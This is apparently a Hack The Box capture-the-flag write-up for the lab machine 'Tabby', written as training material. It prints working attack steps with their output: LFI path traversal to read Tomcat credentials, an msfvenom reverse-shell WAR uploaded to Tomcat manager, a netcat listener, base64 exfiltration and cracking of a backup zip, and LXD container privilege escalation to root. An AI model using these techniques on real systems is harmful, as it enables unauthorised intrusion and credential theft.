Hack The Box Writeup: Tabby

Exploiting Tomcat, extraction a password from a zipped backup, and privilege escalation based on LXD/LXC on Linux. That is what Tabby was all about. An Easy Linux box with good learning curve.

[0x1] Reconnaissance & Enumeration

First action of the day is a Nmap scan to see which ports are open, and if there is some nice intell in there.

nmap -sC -sV -p- -oA tabby-allports 10.10.10.194

Nmap scan report for tabby (10.10.10.194)
Host is up (0.020s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open  http    Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 23 13:46:32 2020 -- 1 IP address (1 host up) scanned in 35.73 seconds

Since there are only two interesting ports available at this time, I visit both websites to see what we can learn from that. The first website gives a nice hint about another website behind the “read our statement” link, that apparently runs on this machine. Let’s add it to the /etc/hosts file.

HTB_Tabby_Default-website

The other website runs on port 8080 and is the home of a Tomcat installation. On entering it shows links to the management pages but they are blocked by a login.

In addition to this I ran gobuster to poke around on the websites, but no interesting files where found.

[0x2] Initial Foothold

If you looks at the default website there is a nice structure in the url. There is a paaramter called “file=” which hint to the use of local files. If this is the case the website might be vulnerable to a Local File Inclusion (LFI) attack.

To try and see how far I can include file, I try to read the /etc/passwd file. Not sure which directory I am in, so trial and error and add an extra path depth is it is not working.

http://megahosting.htb/news.php?file=../../../../etc/passwd

So i search the internet if there is any information leakage in Tomcat which can be exploited using a LFI. It appears thats the Tomcat config file can be found in a file called: /usr/share/tomcat9/etc/tomcat-users.xml. Since I know that I need to go 4 directories back for the root of the volume, it is easilly done for this file also. But, to see the contents you need to view the source (so i figured out after a while).

view-source:http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml

<?xml version="1.0" encoding="UTF-8"?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements. See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, 
[...
clip
...]
<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
   <role rolename="admin-gui"/>
   <role rolename="manager-script"/>
   <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>

First set of credentials is a fact. Username ‘tomcat’ and password ‘$ecureP4s5w0rd123!’. This set gives me access tot he Tomcat Virtual Host Manager.

I knew that Tomcat has a thing for malicious WAR-files which work very nicely with a reverse tcp connection in it. I checked to see if this is still an option. I found a blog describing that it was in fact the case and it gave me a good direction for this box.

First thing first, lets build the malicious payload to upload using msfvenom.

msfvenom -p java/shell_reverse_tcp lhost=10.10.14.64 lport=1337 -f war -o pwn.war

With the payload ready I use curl to upload it to the Tomcat Manager with the credentials I found in the file.

curl -v -u 'tomcat':'$3cureP4s5w0rd123!' -T pwn.war "http://10.10.10.194:8080/manager/text/deploy?path=/tabby&update=true"

* Trying 10.10.10.194:8080...
* Connected to 10.10.10.194 (10.10.10.194) port 8080 (#0)
* Server auth using Basic with user 'tomcat'
> PUT /manager/text/deploy?path=/tabby&update=true HTTP/1.1
> Host: 10.10.10.194:8080
> Authorization: Basic dG9tY2F0OiQzY3VyZVA0czV3MHJkMTIzIQ==
> User-Agent: curl/7.72.0
> Accept: */*
> Content-Length: 13397
> Expect: 100-continue
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 100 
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 
< Cache-Control: private
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-Content-Type-Options: nosniff
< Content-Type: text/plain;charset=utf-8
< Transfer-Encoding: chunked
< Date: Sun, 20 Sep 2020 14:29:49 GMT
< 
OK - Deployed application at context path [/tabby]
* Connection #0 to host 10.10.10.194 left intact

Before activation the payload I make myself a nice Netcat listener on port 1337.

rlwrap netcat -lvnp 1337

Now it is only a matter of activating the uploaded payload on the machine use curl or a webbrowser.

curl http://10.10.10.194.:8080/tabby

When hitting the url the payload gets activated immediatly and the listener gets in inbouwd connection. I got myself a nice shell as ‘tomcat’.

listening on [any] 1337 ...
connect to [10.10.14.64] from (UNKNOWN) [10.10.10.194] 36336
whoami
tomcat
hostname
tabby
id
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)

[0x3] Path to User flag

Since the shell I got is not very interactive, I used Python to launch a decent bash shell. That makes enumerating the box much easier.

python3 -c 'import pty; pty.spawn ("/bin/bash")' 
tomcat@tabby:/var$

After some digging around I found a backup archive which are always interesting. I want to see what is inside so I copy the file to my local machine using base64.

tomcat@tabby:/var/www/html/files$ ls
ls
16162020_backup.zip archive revoked_certs statement

base64 16162020_backup.zip

I copy the ouput of the encoded file and past it in a new file on my local machine called 16162020_backup.b64 and decode it back to the original file.

base64 -d 16162020_backup.b64 >backup.zip

The archive is password protected. John has a great tool to extract the hash from a password protected archive and save it for cracking.

zip2john backup.zip >backup.zip.hashes

backup.zip/var/www/html/assets/ is not encrypted!
ver 1.0 backup.zip/var/www/html/assets/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 backup.zip/var/www/html/favicon.ico PKZIP Encr: 2b chk, TS_chk, cmplen=338, decmplen=766, crc=282B6DE2
ver 1.0 backup.zip/var/www/html/files/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 backup.zip/var/www/html/index.php PKZIP Encr: 2b chk, TS_chk, cmplen=3255, decmplen=14793, crc=285CC4D6
ver 1.0 efh 5455 efh 7875 backup.zip/var/www/html/logo.png PKZIP Encr: 2b chk, TS_chk, cmplen=2906, decmplen=2894, crc=2F9F45F
ver 2.0 efh 5455 efh 7875 backup.zip/var/www/html/news.php PKZIP Encr: 2b chk, TS_chk, cmplen=114, decmplen=123, crc=5C67F19E
ver 2.0 efh 5455 efh 7875 backup.zip/var/www/html/Readme.txt PKZIP Encr: 2b chk, TS_chk, cmplen=805, decmplen=1574, crc=32DB9CE3
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.

With the hases extracted it is time for John to do it’s magic. I use the Rockyouy wordlist for cracking the hash and after 1 second the password was found: admin@it

john backup.zip.hashes -wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
admin@it (backup.zip)
1g 0:00:00:01 DONE (2020-09-20 10:53) 0.6172g/s 6394Kp/s 6394Kc/s 6394KC/s adnc153..adilizinha
Use the "--show" option to display all of the cracked passwords reliably
Session completed

The content of the zipfile is nothing interesting, but when I tried the password for the user I noticed in the /home/ folder it shows a succesful login.

tomcat@tabby:/var/www/html/files$ su ash
su ash
Password: admin@it

ash@tabby:/var/www/html/files$ whoami
whoami
ash

So let’s grab that User flag and finish the first part of this quest.

cat /home/ash/user.txt
99ced6d88f3862ee3d041617a638bbdc

[0x4] Path to Root flag

The first thing I did when I was logged in as Ash is checking to see which groups he belongs to. The first group that looks interesting is 116 (lxd). This one is not present in a default installation. Time to see what I can find regaring this.

User & Groups: uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)

I found an interesting article which describes a way for a low privileged user to gain root access by exploiting a vulnerability in LXD. It allows for mounting the hosts root filesystem in a container. It requires some preparation on my local machine before I can exploit the vulnerability.

First I download the LXD-Alpine builder to make the image which will be transfer to the Tabby-machine.

git clone  https://github.com/saghul/lxd-alpine-builder.git

After clone the repositry I build the image. I needed to which to ‘su’ for this.

cd lxd-alpine-builder
bash build-alpine 

Determining the latest release... v3.12
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.12/main/x86_64
Downloading alpine-mirrors-3.5.10-r0.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
Downloading alpine-keys-2.2-r0.apk
Downloading apk-tools-static-2.10.5-r1.apk
alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub: OK
Verified OK
Selecting mirror http://dl-2.alpinelinux.org/alpine/v3.12/main
fetch http://dl-2.alpinelinux.org/alpine/v3.12/main/x86_64/APKINDEX.tar.gz
(1/19) Installing musl (1.1.24-r9)
(2/19) Installing busybox (1.31.1-r19)
Executing busybox-1.31.1-r19.post-install
(3/19) Installing alpine-baselayout (3.2.0-r7)
Executing alpine-baselayout-3.2.0-r7.pre-install
Executing alpine-baselayout-3.2.0-r7.post-install
(4/19) Installing openrc (0.42.1-r11)
Executing openrc-0.42.1-r11.post-install
(5/19) Installing alpine-conf (3.9.0-r1)
(6/19) Installing libcrypto1.1 (1.1.1g-r0)
(7/19) Installing libssl1.1 (1.1.1g-r0)
(8/19) Installing ca-certificates-bundle (20191127-r4)
(9/19) Installing libtls-standalone (2.9.1-r1)
(10/19) Installing ssl_client (1.31.1-r19)
(11/19) Installing zlib (1.2.11-r3)
(12/19) Installing apk-tools (2.10.5-r1)
(13/19) Installing busybox-suid (1.31.1-r19)
(14/19) Installing busybox-initscripts (3.2-r2)
Executing busybox-initscripts-3.2-r2.post-install
(15/19) Installing scanelf (1.2.6-r0)
(16/19) Installing musl-utils (1.1.24-r9)
(17/19) Installing libc-utils (0.7.2-r3)
(18/19) Installing alpine-keys (2.2-r0)
(19/19) Installing alpine-base (3.12.0-r0)
Executing busybox-1.31.1-r19.trigger
OK: 8 MiB in 19 packages

now that the image is ready and packaged, I hoped back to Tabby and downloaded the file from my local machine by serving it over a webserver.

wget http://10.10.14.64:8080/alpine-v3.12-x86_64-20200920_1136.tar.gz

<14.64:8080/alpine-v3.12-x86_64-20200920_1136.tar.gz
--2020-09-20 16:07:31-- http://10.10.14.64:8080/alpine-v3.12-x86_64-20200920_1136.tar.gz
Connecting to 10.10.14.64:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3181952 (3.0M) [application/gzip]
Saving to: ‘alpine-v3.12-x86_64-20200920_1136.tar.gz’
alpine-v3.12-x86_64 100%[===================>] 3.03M 3.13MB/s in 1.0s 
2020-09-20 16:07:32 (3.13 MB/s) - ‘alpine-v3.12-x86_64-20200920_1136.tar.gz’ saved [3181952/3181952]

The next step is to import the image and give it a name. In my case it’s “myimage”.

lxc image import ./alpine-v3.12-x86_64-20200920_1136.tar.gz --alias myimage
<e-v3.12-x86_64-20200920_1136.tar.gz --alias myimage

Having the image imported I intialise a new container named: d0p4m1n3.

lxc init myimage d0p4m1n3 -c security.privileged=true

And here comes the neat trick, mounting the local filesystem as a disk.

lxc config device add d0p4m1n3 mydevice disk source=/ path=/mnt/root recursive=true

The last step in the proces is to start my container, and execute a shell.

lxc start d0p4m1n3
lxc exec d0p4m1n3 /bin/sh

Creating d0p4m1n3
<ydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to d0p4m1n3

It instantly spawned a new prompt and looking at the output of id it is a root shell. The exploit works like a charm.

~ # id
id
uid=0(root) gid=0(root)

The last stept is to grab the root flag and call it a day.

/mnt/root/root # cat root.txt
cat root.txt
f272fea9f166a9bca0f4a919792dab6b


[box type=”warning” align=”” class=”” width=””]All information in this post is for educational use only! Do not use it at others when you do not have explicit approval to do so. I am not responsible for your actions. Using this knowledge for illegal activities could land you in jail![/box]

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.